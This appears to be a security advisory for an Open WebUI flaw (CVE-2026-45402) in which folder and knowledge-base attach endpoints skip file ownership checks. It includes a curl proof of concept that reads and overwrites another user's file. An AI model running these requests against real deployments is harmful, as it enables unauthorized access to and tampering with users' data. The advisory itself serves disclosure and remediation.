Open WebUI: Cross-User File Access via Unchecked file_id in Folder Knowledge and Knowledge-Base Attach Endpoints
GHSA-r472-mw7m-967f · CVE-2026-45402 · PYSEC-2026-2752 · 갱신 2026. 7. 14.
영향 받는 패키지
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| PyPI | open-webui | 0.9.5 |
GHSA-r472-mw7m-967f · CVE-2026-45402 · PYSEC-2026-2752 · 갱신 2026. 7. 14.
| 생태계 | 패키지 | 수정 버전 |
|---|---|---|
| PyPI | open-webui | 0.9.5 |
backend/open_webui/routers/knowledge.py:616-669 (add_file_to_knowledge_by_id) and backend/open_webui/routers/knowledge.py:972-1035 (add_files_to_knowledge_by_id_batch) check the caller's write access to the knowledge base but never validate the caller's access to the file_id being attached. Because has_access_to_file(..., user) returns True for any file linked to a KB the caller owns, attaching a victim's file_id to an attacker-owned KB silently unlocks read and write on that file through /api/v1/files/{id}/content and /api/v1/files/{id}/data/content/update. This is a stronger variant than Path 1 — full read AND overwrite, persisted, no cleanup pass to mitigate.
# Attacker writes victim file_id into their own folder
curl -X POST http://target/api/v1/folders/<attacker_folder_id>/update \
-H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
-d "{\"data\": {\"files\": [{\"id\": \"$VICTIM_FILE_ID\", \"type\": \"file\"}]}}"
# Attacker chats in that folder — victim file becomes RAG context
curl -X POST http://target/api/chat/completions \
-H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
-d "{\"model\":\"any\",\"messages\":[{\"role\":\"user\",\"content\":\"summarise my uploaded document\"}],\"folder_id\":\"<attacker_folder_id>\"}"
# Attacker creates own KB
KB=$(curl -s -X POST http://target/api/v1/knowledge/create \
-H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
-d '{"name":"x","description":"x","data":{}}' | jq -r .id)
# Attach victim's file_id — no ownership check
curl -X POST http://target/api/v1/knowledge/$KB/file/add \
-H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
-d "{\"file_id\":\"$VICTIM_FILE_ID\"}"
# Read victim file through standard files endpoint (now accessible because file is "linked to KB I own")
curl http://target/api/v1/files/$VICTIM_FILE_ID/content -H "Authorization: Bearer $ATK"
# Overwrite
curl -X POST http://target/api/v1/files/$VICTIM_FILE_ID/data/content/update \
-H "Authorization: Bearer $ATK" -H "Content-Type: application/json" \
-d '{"content":"tampered"}'
Validate the supplied file_id against the caller's read access before attaching, in every writer.
Per the consolidation rule in SECURITY.md, credit goes only to reporters who FIRST identified a distinct sub-path that no earlier filing covered.
MrBeard-FT — first to identify the folder-knowledge ingestion path (Path 1) Classic298 — first to identify the knowledge-base attach path (Path 2 — /knowledge/{id}/file/add and /files/batch/add)